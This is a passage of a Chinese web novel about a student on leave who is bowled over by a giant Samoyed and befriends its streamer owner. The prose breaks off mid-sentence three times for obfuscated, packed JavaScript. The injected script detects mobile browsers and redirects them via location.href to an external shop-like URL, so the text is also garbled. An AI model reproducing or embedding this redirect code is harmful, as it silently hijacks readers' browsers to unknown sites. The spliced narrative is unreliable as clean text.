《被一吨萨摩耶创飞之后》 1. 创飞 姜满最近心情不太好。 不,准确来说,是很长一段时间都处于一种莫名的紧绷中,久到她都忘了正常轻松的生活是什么样子了。 当“休学一年”这个想法又一次侵入她的大脑时,她终于按捺不住了。拿起手机就从教室最后一排溜了出去,给父亲打电话,告知了自己的想法。 “……怎么了孩子,在学校遇到什么不开心的事儿了?”姜父坐在办公室里,对女儿这突如其来的念头感到疑惑。 “没有什么具体的事……我就是觉得我需要按下个暂停键休整一阵。” 姜父还是没当回事儿,毕竟这孩子从小就对什么都三分钟热度,哄一哄应该也就过去了。 “吃点儿好的闺女,等会让你妈再给你转点钱,买点喜欢的。哎呀,这大学都上了一半了,你这大三刚开学,怎么还想着要休学了呢?” 姜满知道一时半会儿和他说不通,只好挂断电话,灰溜溜地又从后门弯着腰回到位置,小心翼翼地放下椅面坐下,在这水课上继续翻起外卖软件来,和舍友讨论今天下了课是去食堂吃还是点外卖回宿舍吃。 反正她一个完全没有理科脑子的人,阴差阳错被录取到了工科,听着必修的基础物理和电工电子等课程,只觉得头大,每次都是上课之前花半小时把老师上次布置的作业抄完——查的也不严,只要期末考试挂不了就行。 不过想到期末考试,姜满又忍不住乐了。 前两年的基础课程把她折磨的不轻,她全是背过往年试题的答案,有相似的题倒还好,直接就写上了;若是没有,她就把脑袋里所有的公式都乱写一通,实在不行就把前面选择题选项也抄上,主打一个不白来。 这法子虽然蠢,但很有效,大抵是批卷老师见识到了她的诚意,前两年就这么每门都擦边及格过去了。 没有升学的意向,只求个能顺利毕业,她平日里的学业压力就非常小了——上完课闲的没事,就会叫上朋友开两局吃鸡玩玩,然后一被打,就在宿舍里撕心裂肺地狂叫。 舍友常常调侃她吃的是尖叫鸡。 不过就算菜,她也爱玩,越打越上头。偶尔在短视频平台刷到职业联赛,还会驻足看一会儿消磨时间,成为了她除美食视频外的另一下饭搭子。 可是今年一开学,她突然不想再继续这样了。 兴许是作为迎新的学姐,接待新生时,见到了他们脸上对新生活的向往与憧憬。他们的模样青涩,眼睛里亮晶晶的,和姜满刚入学时别无二致。 可如今姜满已找不回当时的自己了。 她很确定,自己变了,变得没有心气儿了,变得随波逐流,每天除了吃除了睡除了按时打卡上课,没有一点另外的可能性了。 有的时候,她甚至觉得开心对她来说都是奢侈,被逗得捧腹大笑时,也会即刻冷静下来,莫名其妙开始焦虑别的事情。 姜满觉得自己或许是病了,但她又不敢去医院进行正规的检查。 一是因为不愿直面检查单上冷冰冰的报告结果,二是因为心理医生的费用也太高了!她不敢病,不想之后的治疗再伸手向父母要钱。 她明白自己是缺阳光,缺空气,缺一段让她静下来自己安排的日子。 于是当晚,她又郑重其事地向父母提出了自己的打算。 “大学休学一年不会影响什么,只要第二年按时回来报到,接着完成剩下的课程,我还是和正常毕业的学生有一样的学历,唯一的差别只是晚了一年而已。” 姜满把流程查得很清楚。 姜父姜母对视,轻轻叹了口气。 “爸爸妈妈不是不愿意让你在家,只是怕你这一休就更没有精气神了。” “不会的,我保证我不会整天在家躺着的。”姜满信誓旦旦作出保证。 父母不好再拦,只得同意下来。 虽说同意了,可还是忍不住抱怨一句:“……怎么人家都能安安分分上完大学,就你这么麻烦呢。算了,你长大了,应该自己负责了。” 不到一周,姜满就把需要的材料都审批完成了。很流畅,没有什么阻碍,除了辅导员拦了拦她,毕竟姜满也算是他得心应手的一个小帮手。 舍友们看到她收拾行李,不以为意,以为她是想要出去旅游玩两天。 直到她卷起铺盖,大家才发现了不对劲,原来她不是口嗨说说而已! “哎呀,没什么的,我只是休整一年,又不是不回来了。到时候呀你们就是我的学姐了,把复习资料都留好哈,直接找你们要,好方便吧!” 姜满安慰着围在她身边不舍的小姑娘们,摸摸这个的头,又擦擦那个的泪,好一会儿才把这沉闷的气氛调节过来。 “不要太想我哦,我会经常烦你们,给你们汇报我的生活的!” 她把行李打包好,寄了一部分,随身带了一部分,再回头望向她的那个小床位时,已是空空如也。 她笑了笑,新的生活,也是未知的,和这她曾居住过两年的床铺一样,空空如也。 也挺搞笑的,盛夏时节,莘莘学子都朝着学校奔去,姜满反而回到了故乡。 说实话,很想直接在床上大躺大睡几天的,不过她既然答应了父母,就不能食言,至少在这最初的两天不能漏出马脚来吧?多出去走走看看,也能给自己的规划找点灵感。 趁着傍晚天气还算凉爽,她三两下扎了个高马尾,穿着自带胸垫的短裤短袖睡衣套装,套上洞洞鞋就出了门——反正这个世界没有她在意的人,懒得把衣服换来换去的了,省得没出门先出一身臭汗。 家门口的公园是姜满从小的最佳散步场所,尤其是这几天城市基础设施翻新,这原本平平无奇的公园摇身一变,更加地开阔,绿化也更加地完善。作为明文规定的宠物友好公园,饭后时段总有不少养狗家庭汇聚在此,姜满总会用眼睛把它们通通猛吸一遍,不放过任何一只萌物。 今天也是吃饱饭才出的门,但是看到楼下路边摊的火山石纯肉肠,她忍不住咽了咽口水。 吃一个吧,反正出门也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564597|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算是运动了,实在不行一会儿再买个冰糕吃,中和一下热量。 姜满就如此劝慰着自己,最终拿着香喷喷的黑胡椒味肉肠走进了公园。 她拿起手机,想拍张照片馋一馋前舍友们,却不料前置摄像头刚一打开,还没对焦上,自己就被不明巨物撞倒在了地上。 再回过神来时,手机已不知飞向了何处去寻找自由,她渐渐清晰的眼前只有一团白乎乎毛绒绒的东西在舔她——不对,是在大快朵颐掉在她身边的肉肠。 …… 应之珏今天是第一次和他异父异母的兄弟见面。 他顶着鸡窝子头揉着眼睛从卧室里走出来的时候,吓了一大跳——不是被不请自来的父母,而是被眼前这“Duang”大一只的萨摩耶冲击到了。瘫在地上,恍若一只肥美的……地毯? “小玉啊,这是你的弟弟,应之王,怎么样,霸气不?”应母揉揉萨摩耶的头,手直接陷进了它白花花的毛发里,不见踪影。 “……”什么雷霆名字。 应之珏还以为是自己昨天直播到太晚,熬夜冲分出现幻觉了。 应父解释起这新任家庭成员的来历:“你妈妈在高速上开车的时候捡到的,一开始还以为是个墩子,凑近一看才发现是个活物。带回家了洗洗一看,嚯,还是只这么可爱的萨摩耶。从网上找了几天主人没找到,索性便留下来了。” “小玉,你小时候不就想养只可爱的小狗吗。诺,你现在自己住了,有时间有空间,你弟弟这不就送上门来了?正好你每天遛遛它,还可以督促你别整天闷在屋子里看那些电子产品。” 应之珏无奈地指了指对他露出一副萌萌笑脸的应之王,“‘小’……狗吗?这吨位,我看他得当我哥吧,一屁股能把我坐趴下。” “正好爸爸妈妈在这,一会儿给你做点饭,你和弟弟培养培养感情,带它去公园遛遛弯,回来正好有胃口多吃一点。” 眼前的萨摩耶像是听懂了应母的提议,一下子就站了起来,叼着牵引绳来到应之珏身前,摇着尾巴笑嘻嘻望着他。 好吧,确实是很萌。 应之珏无法拒绝,洗了把脸顺了顺头发,就穿着老头白背心踩着拖鞋出门了。 “哥们儿,一会象征性地走两步就行了哈,你哥我天天昼夜颠倒,身体嘎嘎脆皮,别给我累倒了,你就成独子了。”应之珏拍了拍应之王的大尾巴,告诫道。 绕着公园遛了还没半圈,应之珏的步伐就沉重了起来。 他移到应之王面前,蹲下身,托起它实则根本拖不动的头,逼它与他对视。 “好兄弟,今天咱先到这吧,看你也饿了不是?走,哥带你回家吃饭。” 应之王像是听懂了“吃饭”这个词,并把它当作了指令,嗖的一下向前飞去。 应之珏以为它是急着回家,紧赶慢赶拉着绳子追上它,却不料这大团子猛得一个加速直接甩得他松开了手,然后径自向一个举着手机吃烤肠,没注意到周围有任何不对劲儿的无辜女孩冲去…… 2. 眼花 姜满动了动腿,还好,没摔残废,不然刚回来又给爸妈惹麻烦了,她可真是得被念叨个不停。 她看着面前歪嘴咀嚼的萨摩耶,哭笑不得。 应之珏常打游戏,视力极佳,一下子就捕捉到了摔在草地里的手机。 他一边把姜满的手机捡起来递给她,一边道着歉:“对不起,对不起妹妹,我第一次遛它,不知道它力气这么大。” “没事。你也不是故意的。” 姜满被应之珏搀扶起来,看他抓住萨摩耶的嘴筒子就开始一阵抽打。 姜满见这大白团子挨打还依旧微笑,贱兮兮的模样,觉得特别好搞笑。 “好了,你别打了,它估计就是太馋了,我不怪它。” 虽然姜满没打算追究,但是应之珏执意要带她去医院拍片子检查。 “外伤是没有,但是内伤可是看不出来的。真要有什么问题,你再找我可就不好找了。现在去医院查一查,我也心安。” 想了想,他说的也对。于是姜满点了点头。 应之珏把牵引绳拉到最短,紧紧地系到了扶椅把手上,指指眼前匆匆赶来的两人,转头跟姜满说:“我爸妈来接我弟了,正好我叫的车也到了,我们先去医院。” 医院彻夜不眠的明亮灯光把两人照得无处遁形。 姜满坐在一边,偷偷打量着去为她挂号的应之珏——发尾柔软地垂在颈侧,线条利落不拖沓,男生少见的微长发带来飘逸的破碎感,却没有半点阴柔气息,反倒越看越有动漫男主独有的、又野又矜贵的气质。瘦高白皙,迎着她走过来时,姜满惊喜地发现对方眼睛居然是细窄的内双哎!嗯虽然穿的是老汉背心七分裤吧,但是一点也不油腻邋遢。干干净净、清清爽爽的,居然穿出来了一种少爷的感觉,别有一番风味了? 更何况,姜满低头看了看自己的穿搭,好像也没啥能嘲笑别人的了。 两个这样居家穿搭的人着实有些格格不入,再加上根本不熟,如此尴尬的局面在夜空的黑暗不再遮蔽的情况下,显得更加凝固了。 “……那个,你这样不会影响你上学上班吧?”应之珏主动抛出了话头,不过他问这些,也是想估摸一下要给对方多少补偿比较合适。 毕竟是他们全责,除了医药费以外的什么误工费、精神赔偿金、营养补贴,他都没打算赖。而且这姑娘看起来也不像是会漫天要价的无耻之徒。 姜满实话实说:“那还真巧了吧,我今天刚休假回家,这一段时间碍不着什么事。” 应之珏心中歉意更甚了:人家刚准备享受假期的,来了这么个无妄之灾,真是罪过罪过。 一时的沉默过后,两人拿到了检查结果——万幸,骨头毫发无损,只是膝盖和胳膊肘撞青紫了一片。 盯着她露出的皮肤上凸显的花花绿绿,应之珏还是觉得十分过意不去,懊恼地捋了捋发丝,这动作却被姜满发现,顺着他的目光,发现他在看自己的腿。 ……有点不自在。 姜满向后退了一步,握拳在嘴边轻轻咳了一嗓子。 应之珏也发现了自己眼神的不妥,赶紧收回目光,拿出手机要加她微信:“有什么问题,你随时找我就好,今天的事真的很抱歉。” 姜满通过了他的好友申请,冲他无所谓地笑笑:“我都说了没事儿了,你不要太自责。我很喜欢它呢,哎对了,你们家狗狗叫什么名字呀?” “……叫应之王。”应之珏有点羞于说出口。 “……好霸气的名字。你要还是觉得亏欠的话,不如以后多让你们家王和我玩玩,正好省的我去狗咖花冤枉钱了。” 姜满说这话是真情实意,却也暗藏私心——她是真的喜欢小狗,可苦于父母觉得她连自己都养不好,到时候肯定还是把各种活抛给别人,所以这个愿望一直没有实现。 私心呢就是,她还想和这个小帅哥有点交集,毕竟这个类型在现实生活中真的不常见呢。 “好,没问题。”应之珏爽快答应下来。 姜满父母赶到了医院接她回家,听完事情来龙去脉也并未为难应之珏,而后应之珏也回了家。 应父应母晚上还有工作上的事,于是先走了,只留下桌上虽然早已冷却但依旧香喷喷的饭菜。 ——还有趴在门口瞪着水灵灵大眼睛候着他的应之王。 一人一狗四目相对无言。 “不闹腾了?是给你喂饭了你吃饱了,还是知道闯祸了所以消停了?” 应之王只是笑。 应之珏没招了,拿出手机要跟父母留个言说自己已经安全到家了,受害者身体无恙时,却发现聊天框里还有个红点——“光问耶耶的名字了,忘了问你了。你好,我叫姜满,留个备注吧?” 他一刹那不知道该怎么回了。明明是个很简单、有标准答案的问题,此刻却显得有些搞笑。 “你好,我叫应之珏。” 这句话是咬着牙打出来的。 姜满刚洗漱完,用毛巾随便抹了抹脸上的水渍,眯着眼没大看清楚他回的消息,把最后一个字“珏”看成了“王”。 “我知道呀,这不是耶耶的名字吗,很特别的名字,我记着呢!我是问你叫什么呀?”姜满追问。 “……应之王,是它。应之珏,是我。” 躺着床上的姜满又看了一眼对方发来的消息,突然发现了不对劲。 “我靠,眼花把撕漫男名字当成他家狗的名字了!” 姜满一个鱼跃从床上立起来,暗自后悔着怎么一回家脑子又退化了,看错字是小事,把人名和狗名弄混实在是太不礼貌了吧,感觉跟故意找事一样。 她赶紧找补道歉:“眼花了,不好意思之珏哥。”连带着发了个抱拳的表情。 应之珏绝对不让话掉到地上:“眼花了?不是被我家这吨大卡车撞的吧?” 姜满没忍住,噗嗤一声笑了出来。 应之珏刚扒拉两口饭,退出微信,想刷会视频下饭看。 进入某视频软件,手机顿时卡得不行,什么地方也点不动,只有源源不断的消息一个接一个弹出来:“哥哥今晚怎么没播?”、“啥时候才播啊等俩小时了。”、“哥你咋了?居然没请假就旷工!”…… “完蛋。晚上去医院跑了一趟把要直播的事全忘干净了!” 应之珏赶紧发通知说是今天确实有急事处理才耽误了,并承诺给他十分钟立马开播。 他用了五分钟填饱肚子,又用了五分钟连接好直播设备,登录游戏账号。 十一点整,游戏ID哥哥不留余地准时上线,全年无休的记录并未被打破。 应之珏今年二十五岁,做游戏直播已经五年了,平台上有二十几万粉丝。听起来并不算顶流,但是在射击类手游中还是占据了一席之地。 一直没露过脸,只凭借着他灵敏的反应,有趣的解释,最重要的是好听的声音以及耐心的态度,开创了绿色健康小清新文明素质的手游直播风格,几乎不吐脏字儿但说的也不干净,粉丝黏度极高,基本粉上了就很难跑路。 他不懂什么人设,没有什么团队,也懒得弄。反正现在能赚钱养活自己就够了,要是太火了,就得被迫做一些自己不想干的事,还得处理各种纠纷,粉丝乱象也多。 也总有人问他为啥不当陪玩,接单赚得更多。应之珏只是说感觉直播间更热闹些,要是真逼着他一对一地去说话,他反而会无所适从。 总而言之,现在的生活,他很满意。 不满意的只有他的父母。 有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564598|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应母经常和应父吐槽,好好的儿子从小就聪明不用他俩操心,按部就班地考上重点大学后本以为他会继续深造,却没想到人家双手一摊说自己已经有了事业并且要一直坚持下去了。 当初听见爱子成了主播以后应母差点两眼一黑晕倒过去,还是应父给她稳下了心神:“孩子有自己的主见,挺好的,而且这不是还没毕业就弄出名堂来了?”应父一顿,继续补充道:“再说了,现在这个就业形势,小玉哪怕再多读几年,出来接触社会,也未必能找到更好的工作。” 应母反驳:“我不就是想让他求个稳定吗!他现在做得风生水起有什么用,再过几年怎么办?” 应父拍了拍她的肩头,“稳定就一定是好事吗?咱俩倒都是稳定,这一辈子不就这么毫无波澜地过来了。想做什么就让他去做吧,反正还有咱俩给他担着呢。” 于是最后两人也妥协了。 因为应之珏昼伏夜出的特性,父母见了心烦,说又说不得,索性让他自己搬出去住。应之珏就这样一毕业便过上了美滋滋的独居生活。 非要挑毛病的话,唯一不好的,就是偶尔面对空荡荡的房间有些孤独,生活规律也差的不行。 “哟,这弟弟敢和我对狙,看我一枪……”应之珏自信开镜,话音未落屏幕便暗了下来。 直播间家人们一看就知道是余地哥没对过人家,弹幕飘了满屏的“反杀不给看”。 应之珏直播间长盛不衰的原因还在于他特别关注每一条弹幕评论,极佳的动态视力总能捕捉到快速掠过的一行行字,并从中挑出有意思的作出回应。 “什么,”他冷笑一声,“这谁发的说我ID里的不留余地是别人一枪就能给我干翻,不浪费一颗子弹的意思啊。你等着我记住你名了,再发我给你拉黑了。” ——他只是说说,开个玩笑,当然不会把观众拉黑的,毕竟都是衣食父母,而且没有他们的话,这直播间也不会这么有节目。 应之珏不仅是对粉丝好,对小黑子包容度也是极高,面对“主播你这么多年不露脸是因为建模太差怕掉粉吧”或是“余地哥这声音百分之九十九爆猪率,剩下的百分之一是超级大年猪”诸如此类的质疑声,每次都只是笑一下算了。也不引导粉丝去辩驳,也不把这群闹事者踢出直播间,就淡淡地劝直播间家人们别给这种人热度,称了他们的心意,还标明自己觉得他们说话不重样还挺有意思的,好听爱听。 新赛季刚开始,应之珏一如既往地开始冲分,分数掉了升、升了掉,在一片“余地哥戒赌吧”的揶揄声中,硬生生熬到凌晨四点,国榜上的名次进了十几位,他才肯结束。 “好了弟弟妹妹们,哥要下了,晚上见哈,这次一定不会迟到了。” 退出直播,摘下耳机,关闭电源,应之珏坐在电竞椅上习惯性地蹬腿借力向后仰去,脚却踢在了一团温热的肉上。 应之珏低头,胳膊撑在腿上,审视着这只趴在他桌子下面静静等着的萨摩耶,他们俩不约而同地打出了个大大的哈欠。 “……你倒是还挺讲义气,”应之珏见它的大眼睛耸拉着,一闭一睁速度缓慢,笑着捏了捏它的小肉垫,“以后不用陪着我,困了睡就好。” 应之王又眨巴眨巴眼睛,像是听懂了,但还是没有要退出房间的意思。 倒在床上的应之珏一睁眼发现它还在,想到它可能是因为被丢弃或是流浪的经历而缺乏安全感,于是强撑着精神起来。 “怎么,这么大了,还这么黏哥哥呢?”他摸摸应之王的头,没赶它走,而是去客厅把应父应母带来的窝搬进了他的房间。 “喏,进你窝睡吧。你陪我直播,那我陪你睡觉好了。” 应之王的眼睛终于舍得闭上了,眼睛弯弯的,好像做了个美梦。 3. 赔礼 应之珏再次醒来的时候,是被拱醒的——靠近他嘴边的嘴筒子呼出热腾腾的气,在夏天熏的有点难受。 他揉揉眼,点开手机发现才九点,睡了才五个小时,翻个身就想继续睡,却忽然想起一件要紧事。 “兄弟,你是不是饿了?” 床边乖乖坐着的蒲公英笑得没心没肺的。 应之珏又拿起手机,想着给它点个外卖——光吃狗粮可不行,兄弟一生一起走,得给它点肉吃,不能亏待它。 这时正巧收到了应母的信息:“小玉啊,我炖了点猪蹄,炖了一晚上,可烂糊了。让你爸上班之前顺路放你那了,你醒了热热吃。” 应之珏走到饭桌前,果然有两个大饭盒。 他挑了挑眉,拍张照回给母亲:“知子莫如母啊,你咋知道我想给我王弟搞点肉吃。” 这小子今天咋醒的这么早,还是熬穿了? 应母对应之珏的秒回感到十分诧异,怕他倒头又睡了,赶紧接上一句:“我可不是为了你弟。我弄了俩饭盒啊,你给昨天那个被撞的小闺女送点,我看她也挺瘦的,摔这一下人家爸妈也要心疼死了。不是说吃啥补啥吗,咱诚意还是得有的。” 应之珏暗叹果然是在体制内混了大半辈子的,做事就是滴水不漏还饱含人情味儿,任谁看了都挑不出来任何问题。 “行,听你的。”应之珏痛快地答应下来,洗洗手给蠢蠢欲动的应之王倒上狗粮。 怕它着急卡到嗓子,给它把猪蹄撕吧撕吧,把小骨头挑了出来扔掉,才把肉送到它嘴边。 应之珏转手给姜满发了消息:“哈喽妹妹,我妈炖了点猪蹄特地嘱咐我给你送去,你看你啥时候有空?” 姜满此刻刚从在被父亲抱怨的烦闷中逃脱。 昨天晚上还好,或许是看时间不早了,俩人就让她赶紧休息,也没多过问什么。 今天早上一起床,姜父看到她身上过了一夜愈加深色的淤青,禁不住抱怨了两句:“多大的人了,狗看不见你,你还看不见狗吗?幸亏没撞到脑袋,真不知道你这孩子怎么想的,一放你自己出门就得惹出点事来。” 姜满气不打一处来。这是赤裸裸的受害者有罪论啊!她憋不住,直接开始反击:“是我自己想摔的吗?你是没看见那只萨摩耶有多大,你想想,卡车冲你撞过来,你反应得过来,你能躲开?别在这站着说话不腰疼了!” 姜母急着去上班,赶紧调节起两人的纠纷:“就是啊,孩子摔了,你就庆幸没出什么大事吧,别怪她了。” 姜父哽了一下,其实他也是心疼女儿,希望让她以后注意点,可不知怎么,话一说出口就变了味。 送走去上班的姜父姜母,姜满得闲看到了微信上应之珏的留言。 她讶异了一下——这撞后服务也有些太好了吧,好得她都有点想再被创一次了。 两人约定即刻就在公园见面,一是这样姜满可以当中午饭吃上,二是怕到了正午头太阳狠毒。 这次姜满没再穿睡衣,虽然很热懒得换,可毕竟是见日系小帅哥啊!这把可不能太邋遢了。所以换了件牛仔短裤,斜肩的浅灰色小短袖,高高的丸子头。虽然也没有这么精致,至少简单且散热极佳。唯一没换的搭配单品是那双蹬上就可以走的洞洞鞋。 对面显然也是没有上次那么草率。 应之珏换了个工装长裤配了件衣柜里有着数十件孪生兄弟的宽松白T,甚至连鞋都穿的运动鞋——不只是因为在女孩面前穿的太居家会害羞,更是因为他怕应之王突然又犯病冲出去,他穿踢踏板容易脚下打滑拉不住。 “谢谢谢谢,太客气了,替我谢谢阿姨。”姜满接过沉甸甸的饭盒,连连道谢。 “你尝尝好吃不,反正挺合这小子口味的。”应之珏用下巴指指吐着舌头喘息的应之王。 俩人也没有什么其他可聊的,相顾无言,姜满便主动提出就此别过:“……那个,我看你俩穿得都挺厚的,天气这么热别中暑了,赶紧回去吧。” “是哈,”应之珏蹲下,抓起应之王的爪子挥了挥,“来,跟姐姐说再见。” 应之王吐着舌头傻笑着,把姜满的心要萌化了,全然不顾这是披着羊皮的罪魁祸首。 正要离开之际,路边一大叔却背着手从两人身旁经过,目光在姜满腿上的淤青处流连,上下打量着,口中发出“啧啧”令人不适的声音。 他自顾自地说:“现在这些年轻人啊,玩得是真花。不以为耻反以为荣啊。” ……这人什么意思,不言而喻了。 天干物燥,姜满本不想多事,但让自己难受的目光和言论绝对从出发点来看就不是善意的。这就是明目张胆地造黄谣,凭什么放过啊! “你脑子是被烫熟了吗,不过你这种满是细菌和毫无营养的垃圾,摆在地上我家狗估计都不会多看两眼。” 比她先出口斥责的是以一八零身高蔑视大叔的应之珏,以及一直堆笑从未臭脸过的应之王也发出不满的哼唧声,身体前倾一副蓄势待发的模样。 大叔没得到想象中两人害羞不好意思的反应,反而被怼了,心里自然不好受。 看姜满没言语,便想从她身上找回来成就感,又盯着她补了句:“小姑娘,还是洁身自好一点比较好,我这是关心你。” 姜满刚刚宕机的脑袋此刻也火速运转起来,抢在应之珏之前脱口而出:“关心?你是没受过别人的关心才以为自己说的屁话属于关心吧?好可怜啊,大叔你回家记得多喝点牛奶涨涨个,光关注我腿了,因为你这个身高只能看到这吧?” 那人见两个小年轻都是连枪带炮的,一个比一个难办,说不过,只得灰溜溜转身就走了。 姜满没打算放过他,又补了一刀:“我也是关心你啊叔,还没我高呢,你腿这个长度回家得走老长时间吧,小心点可别摔了,路过的人见了可不敢扶,还以为谁家养的柯基跑出来了。” 应之珏望着大叔狼狈的矮挫背影,听着姜满喋喋不休的“关心”,笑得开怀。 一开始他还以为姜满是不好意思,没想到是在装填弹药,一旦准备好便是把冲锋枪,打得敌人招架不得。 “……很好笑吗。” 其实说这些话姜满也鼓足了很大勇气,平日里她不是会为自己出头的那种人。 或许是今天炎热晒得人心里烦闷,又或许是这话题确实触碰到了她的底线,她也没想到自己能释放出如此大的潜能。甚至连她自己都在回味,姜满你太牛逼了,居然能说出这么条分缕析又杀人诛心的连珠妙语。 “不是不是,就是觉得,你年纪轻轻,头脑倒是灵光得很。” 应之珏好奇道:“不过今天不是工作日吗,妹妹你现在怎么不在学校。” 姜满觉得应之珏说“妹妹”这个词的时候有种魔力啊,莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564599|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其妙的勾人,虽然知道这对他来说就是个普通顺嘴的称呼罢了,但是对于有哥哥癖的她来说就是格外地入耳。 姜满轻轻揩去额头上的汗,“上不下去了,回家散散心。” 应之珏没再多问。 他摸摸鼻子,“那真是巧了,我也整天待在家里。你要是闷了,可以叫你帮我遛遛这小子吗?” 姜满眼睛亮了,她巴不得能和应之王玩呢。“真的吗?太好了!” ……这丫头倒是不记仇。应之珏在心底默默想。 回家后姜满看着一饭盒饱满的大猪蹄,筷子一夹肉就脱离出来,软软糯糯好吃极了。 就是味道有点淡,所以她打算重加工一下:拿出两个盛出来放在干净托盘里,给大蹄子用辣椒面和孜然粉来一个里里外外的SPA,最后又在表皮撒了薄薄一层糖粒,然后送入烤箱,静待它们的蜕变。 成品果然没有让她失望! 经过炙烤,猪蹄的油脂又沁了出来,边缘处烤的焦焦脆脆,而表皮的糖融化后,形成了一层亮亮的焦糖。 姜满从小就爱搞这些奇奇怪怪的吃法,任何食物在她手下大多都要经过二次加工才符合她的口味,“美食家”也曾是她三分钟热度中的一个梦想职业之一。 真的香迷糊了…… 姜满趁热把这俩蹄子品鉴入肚,不断赞叹着自己的创新——完全不腻,外皮的焦糖和内里炖煮入味的肉丝一同构成了甜咸永动机,好吃得要命,根本停不下来。 姜满啃的嘴角全沾满了油,好香,比学校食堂香多了——前两年她到底是怎么忍过来的? 吃饱了,她盯着这个饭盒,忽然想到:是不是应该洗干净给人家还回去啊?毕竟不是一次性的,看起来就是自己家用的那种很结实质量很好的,对方肯定不会主动要,但就这么留下了肯定是不恰当的。 她绞尽脑汁地想着如何找一个正当的理由再把应之珏约出来。不一会儿便有了主意。 晚上七点,见太阳已经落下,姜满拍了拍备注为“王之兄应之珏”的头像,问他今晚应之王需不需要出来遛遛。 应之珏此刻已经摆好了直播设备,登上账号准备开播了。 他今天和其它主播约好了一起打四排,几个人凑在一起不容易,还是其它几位早早就预热好了的活动,应之珏自然十分重视。当他看到姜满的消息时,迟疑了一下。 又转头看了看百无聊赖在一边咬着自己爪子玩的应之王,有些愧疚。 “应之王,跟着哥哥也真是苦了你了,一天没怎么运动,很难受吧。” 他知道大型犬需要释放精力,可自己上午没补足觉,中午又太热,下午又大睡一觉,现在醒了终于黑天凉快了,可是他要开始雷打不动地直播了。 “不然今天让那个姐姐陪你玩会,好不好?” 应之王听罢立即屁颠屁颠地把牵引绳叼了过来,两只大爪子不住地往他身上搭。 “好了好了,”应之珏直接被顶得靠在了床边,差点就仰在床上了,他不放心地嘱咐:“这次吃饱了,是吧?别再看见吃的就这么疯狂了。不对,看见什么也不能乱跑,人家也拉不住你,明白了吗?” 毛绒绒的团子点头微笑,示意它已经听进去了。 “要是不听话,就把你送回你爸你妈那了。” 应之珏恐吓了一句,才给姜满回复了消息:“公园见。” 4. 绑架 姜满远远地就看到了一人一狗的身影。 不过那高高瘦瘦的好像等的有些焦急,一直在来回踱步,没注意到她的到来。 反倒是这矮矮胖胖的先嗅到了她,冲她露出了招牌式吐舌笑。 姜满连忙小跑过去。 “对不起,你等了很久吗?” 应之珏见女孩一脸充满歉意的模样,即刻站定不再乱动。“没有,我离得近。而且你腿不得劲,慢慢走不着急。” “那就好。” 姜满咧嘴笑笑,伸手整理了整理刚刚因快走而迎风刮起,此刻又贴在汗津津的脸侧的几缕发丝。 应之珏没再多说,他看看时间,其他人已经等了他半小时了,他不想再耽搁。 “今天要麻烦你帮我看一会儿应之王了,我正好有点忙,得先回去,一个小时之后来接它。” 姜满倒也不恼。 她想:没事儿啊,帅哥无法相伴,有这只大狗狗陪着也是极好的,一点儿被抛下当免费劳动力的怨念都没有,还漏出虎牙由衷地笑了,把饭盒递给应之珏。 “你忙就是了,但是先把饭盒带回去吧,我怕一会我就忘了放哪了。” 应之珏一愣,没想到她这么贴心。 “好,有事微信联系。”留下这句话后,应之珏便飞一般回到了家里开启直播——“来了兄弟们,不好意思久等了。” 弹幕飘了满屏的: “连着迟到两天吗哥哥,那很好了” “一个踩点给不留余地”等言论来“欢迎”姗姗来迟的他。 “我的错,这把真是我的错。抽二十杯奶茶给大家泄泄火,原谅我这一回呗~” 应之珏的声音还是太好听了,再大的错误在此刻都消弭了,更何况是这种无足轻重的小问题。 不愿再浪费时间,他火速和其他三位主播开了四排。 应之珏今晚状态极佳,在这顶尖车队匹配进的顶尖高手局中,也能第一局就成功吃鸡并且拿下了淘汰王。 “手感火热嘛哥哥~” 弹幕开始夸起彩虹屁,这对应之珏一向很受用,他被夸美了,开始得意忘形:“还好吧,下把一定不留余地了,至少杀二十只。” 接下来应之珏更是连着拿下三把队内MVP,他们的小队也是次次都进了前五。 ——直到终于又拿下一次淘汰王并且将将好收获二十个人头时,应之珏才猛然发现自己好像忘记了什么。 一看时间,坏了,竟然已经十点多了,他把姜满和应之王足足晾在外面了三个小时并且没有联系他们! 应之珏真没心思面面俱到地向粉丝解释了,说了句“今天先到这里”就直接关了直播。 他游戏机和平常用的手机是一个,所以平常直播的时候都会把微信从后台退出来,以免暴露什么个人信息或是影响战斗。 他便推门下楼便手抖着点开微信。 意料之中应该铺天盖地席卷而来的质问与责骂都没有来,只有两句留言,语气平平,并无怒意。 一句是两小时前的:“到点了,你还在忙吗?要不你把你家地址发过来,我给你送到家门口好了。” 